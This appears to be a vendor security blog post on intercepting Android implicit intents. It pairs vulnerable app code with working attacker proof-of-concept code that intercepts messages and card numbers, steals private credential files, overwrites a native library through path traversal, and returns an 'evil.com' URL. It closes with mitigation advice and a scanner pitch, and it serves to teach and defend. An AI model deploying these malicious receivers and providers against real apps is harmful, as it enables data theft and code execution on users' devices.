Interception of Android implicit intents
All intents on Android are divided into two big categories: explicit and implicit. Explicit intents have a set receiver (the name of an app package and the class name of a handler component) and can be delivered only to a predetermined component (activity, receiver, service). With implicit intents, only certain parameters are set (e.g. action, data, mime type, categories) and Android itself decides which component to call. If the intent contains any private data, then data can be leaked to third-party apps installed on the same device when implicit intents are used. Insecure (implicit) intents look just the same: the only difference is the methods to which they are passed (startActivity()
, sendBroadcast()
, startService()
etc.). Oversecured automatically locates vulnerabilities of all these types and displays the places where these intents are created and run in the scan report. We have created special categories such as Insecure activity start, Using an implicit intent to send a broadcast, Starting a service with an unspecified component and so on.
These vulnerabilities are examined in our vulnerable Android app OVAA. It includes an example of insecure broadcast dispatch:
And file theft:
And the interception of implicit intents when an activity is launched:
Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.
Start securing your apps by starting a free 2 weeks trial from Quick Start, or you can book a call with our team or contact us to explore more.
For example, a messaging service requests new messages from the server and then passes them to a broadcast receiver which is responsible for displaying them on the user’s screen
Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE");
intent.putExtra("from", id);
intent.putExtra("text", text);
sendBroadcast(intent);
Since the app uses implicit intents, an attacker can register a broadcast receiver with the same action and intercept user messages from a different app:
AndroidManifest.xml
file
<receiver android:name=".EvilReceiver">
<intent-filter>
<action android:name="com.victim.messenger.IN_APP_MESSAGE" />
</intent-filter>
</receiver>
EvilReceiver.java
file
public class EvilReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
if ("com.victim.messenger.IN_APP_MESSAGE".equals(intent.getAction())) {
Log.d("evil", "From: " + intent.getStringExtra("from") + ", text: " + intent.getStringExtra("text")); // the attacking app simply logs the intercepted data, but it could do anything it liked with them - e.g. send them to a remote server
}
}
}
Implicit broadcasts are delivered to each receiver registered on the device, across all apps.
Developers often create actions for particular things activities can do, and use implicit intents with certain private data to launch these activities. Example banking app
<activity android:name=".AddCardActivity">
<intent-filter>
<action android:name="com.victim.ADD_CARD_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Intent intent = new Intent("com.victim.ADD_CARD_ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
//...
startActivity(intent);
And this always works, because the likelihood of two different apps starting to handle the same action is extremely low
But what happens if there are several apps on the device at once, and their activities’ intent filters match the intent in question? The developers of Android foresaw this scenario and implemented the following functionality:
- If an implicit intent does not match any activity (across all apps), then when
startActivity()
is run (along withstartActivityForResult()
,startActivityIfNeeded()
etc.) anActivityNotFoundException
is thrown - If the intent matches only one activity, then that one is automatically run
- If several activities at once match, then the Activity Chooser is launched. It is up to the user to decide which app (and, therefore, activity within it) should be run. This resembles the Share button, which brings up an extensive list of apps to which particular data can be shared (Facebook, Twitter, an email client, etc.). But the attacker can control their position in the list using the
android:priority="num"
attribute in the<intent-filter>
declaration
The attacker can thus intercept credit card data as follows
AndroidManifest.xml
file
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.ADD_CARD_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
EvilActivity.java
file
Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name"));
//...
In the case of a real attack, the malware can also steal data from the intent that is passed and then readdress it to the victim app that was originally supposed to receive it
startActivity(getIntent()
.setComponent(null)
.setPackage("com.victim"));
finish();
Dynamic determination of intent receivers
Some apps try to stop the activity picker appearing by automatically determining a single recipient and setting it in the intent settings (which is also very common when launching services, since implicit intents are forbidden in service launch)
Intent intent = new Intent("com.victim.ADD_CARD_ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
//...
for (ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) {
intent.setClassName(info.activityInfo.packageName, info.activityInfo.name);
startActivity(intent);
return;
}
this is more advantageous, because it eliminates the need for user interaction and automatically specifies the attacker’s activity
Attacks on an activity’s return value
If an implicit intent is launched using startActivityForResult()
, an intercepting app can use a call to setResult()
to return particular data in the launching app’s onActivityResult
. These calls come in two major kinds: when the app uses system actions (android.intent.action.PICK
to choose a photo, android.intent.action.GET_CONTENT
to choose files, android.media.action.IMAGE_CAPTURE
to create a photo, etc.), which usually leads to the theft of arbitrary files or images; and actions created by app developers, with a result that depends on how the app is implemented.
Example
startActivityForResult(new Intent("com.victim.PICK_ARTICLE"), 1);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == 1 && resultCode == -1) {
webView.loadUrl(data.getStringExtra("picked_url"), getAuthHeaders());
}
}
An attacker could attack this as follows
AndroidManifest.xml
file
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK_ARTICLE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(-1, new Intent().putExtra("picked_url", "http://evil.com/"));
finish();
}
Typical vulnerabilities in standard Android actions
It is worth saying something in particular about standard Android actions such as:
android.intent.action.GET_CONTENT
android.intent.action.PICK
android.media.action.IMAGE_CAPTURE
etc. They are used to obtain the URI of a file (document, image, video) selected by the user and to process it in an app (e.g. by sending it to a server). But most Android/Java libraries can only send a file to a server, not anInputStream
as returned by Android ContentResolver. So apps very often cache URI data into a file before processing it. In most cases this leads to arbitrary files being stolen or overwritten.
Example 1. Theft of files.
Example code from a vulnerable app:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
return;
}
Uri pickedUri = data.getData();
File cacheFile = new File(getExternalCacheDir(), "temp");
copy(pickedUri, cacheFile);
// the file is then processed in some way
}
private void copy(Uri uri, File toFile) {
try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
try (OutputStream outputStream = new FileOutputStream(toFile)) {
copy(inputStream, outputStream);
}
} catch (Throwable th) {
// error handling
}
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
byte[] bArr = new byte[65536];
while (true) {
int read = inputStream.read(bArr);
if (read == -1) {
break;
}
outputStream.write(bArr, 0, read);
}
}
An attacker can create a malware app that will return a link to a file in the targeted app’s private directory.
AndroidManifest.xml
file:
<activity android:name=".PickerActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>
PickerActivity.java
file:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("file:///data/data/com.victim/databases/credentials")));
finish();
}
When the victim clicks on the attacker’s app in the activity picker list, the file /data/data/com.victim/databases/credentials
is automatically copied to SD card and can then be read by any app that has the permission android.permission.READ_EXTERNAL_STORAGE
.
Example 2. Overwriting arbitrary files.
Code from a vulnerable app:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
return;
}
Uri pickedUri = data.getData();
File pickedFile;
if ("file".equals(pickedUri.getScheme())) {
pickedFile = new File(pickedUri.getPath());
} else if ("content".equals(pickedUri.getScheme())) {
pickedFile = new File(getCacheDir(), getFileName(pickedUri));
copy(pickedUri, pickedFile);
}
// do something with the file
}
private String getFileName(Uri pickedUri) {
Cursor cursor = getContentResolver().query(pickedUri, new String[]{MediaStore.MediaColumns.DISPLAY_NAME}, null, null, null);
if (cursor != null && cursor.moveToFirst()) {
String displayName = cursor.getString(cursor.getColumnIndex(MediaStore.MediaColumns.DISPLAY_NAME));
if (displayName != null) {
return displayName;
}
}
return "temp";
}
// the copy method is the same as in the previous example
The attacker can pass a name including path-traversal to the getFileName()
method using their own ContentProvider.
AndroidManifest.xml
file:
<activity android:name=".PickerActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>
<provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true" />
EvilContentProvider.java
file
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY);
}
Thus the attacker can get beyond the limits of /data/data/com.victim/cache/
and write the file to lib.so
in the /data/data/com.victim/lib-main/lib.so
directory, leading to arbitrary code execution in the victim’s context (on condition, naturally, that the victim loads a native library from that path).
You need to understand what the particular functions of your app are for, and whether or not you intend to make them available to other apps. If the answer is no, you need to use only explicit intents to launch activities and services, register broadcast receivers and send broadcasts. If your app does still need to interact with other apps, you need to be clear on whether that means absolutely any apps or some restricted set of them. For a restricted set (which will usually include apps from some particular ecosystem, such as Google Maps and Google Books) you should check the package signature and/or name; for an unrestricted set, you should validate absolutely all data received from them. At Oversecured, we frequently encounter incorrectly designed apps with millions of downloads, suffering from a vast range of vulnerabilities. So it’s important to pay attention to this point at the architecture planning stage for your app and for each new component.
We will send you an email containing them.
Thank you for reaching out
An email with the requested files will be sent to the email address you provided shortly.
Protect your apps today!
It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured.